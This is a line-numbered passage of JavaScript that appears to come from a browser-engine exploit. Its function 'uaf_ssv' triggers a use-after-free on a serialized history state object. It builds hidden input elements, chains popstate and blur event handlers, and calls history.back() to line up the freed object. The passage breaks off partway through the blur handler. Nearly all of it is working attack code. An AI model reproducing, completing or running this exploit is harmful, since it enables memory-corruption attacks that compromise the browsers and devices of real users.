| 178 | // called. History will cache the SSV at its m_lastStateObjectRequested if you |
| 179 | // do. that field is a RefPtr, thus preventing a UAF if we cache "state1" |
| 180 | async function uaf_ssv(fsets, index, index2) { |
| 181 | const views = []; |
| 182 | const input = document.createElement("input"); |
| 183 | input.style.position = "absolute"; |
| 184 | input.style.top = "-100px"; |
| 185 | input.id = "input"; |
| 186 | const foo = document.createElement("input"); |
| 187 | foo.style.position = "absolute"; |
| 188 | foo.style.top = "-100px"; |
| 189 | foo.id = "foo"; |
| 190 | const bar = document.createElement("a"); |
| 191 | bar.id = "bar"; |
| 192 | |
| 193 | log(`ssv_len: ${hex(ssv_len)}`); |
| 194 | |
| 195 | let pop = null; |
| 196 | let pop2 = null; |
| 197 | let pop_promise2 = null; |
| 198 | let blurs = [0, 0]; |
| 199 | let resolves = []; |
| 200 | |
| 201 | function onpopstate(event) { |
| 202 | const no_pop = pop === null; |
| 203 | const idx = no_pop ? 0 : 1; |
| 204 | |
| 205 | log(`pop ${idx} came`); |
| 206 | if (blurs[idx] === 0) { |
| 207 | const r = resolves[idx][1]; |
| 208 | r(new DieError(`blurs before pop ${idx} came: ${blurs[idx]}`)); |
| 209 | } |
| 210 | |
| 211 | if (no_pop) { |
| 212 | pop_promise2 = new Promise((resolve, reject) => { |
| 213 | resolves.push([resolve, reject]); |
| 214 | addEventListener("popstate", onpopstate, { once: true }); |
| 215 | history.back(); |
| 216 | }); |
| 217 | } |
| 218 | |
| 219 | if (no_pop) { |
| 220 | pop = event; |
| 221 | } else { |
| 222 | pop2 = event; |
| 223 | } |
| 224 | resolves[idx][0](); |
| 225 | } |
| 226 | |
| 227 | const pop_promise = new Promise((resolve, reject) => { |
| 228 | resolves.push([resolve, reject]); |
| 229 | addEventListener("popstate", onpopstate, { once: true }); |
| 230 | }); |
| 231 | |
| 232 | function onblur(event) { |
| 233 | const target = event.target; |
| 234 | const is_input = target === input; |
| 235 | const idx = is_input ? 0 : 1; |
| 236 | log(`${target.id} blur came`); |
| 237 | |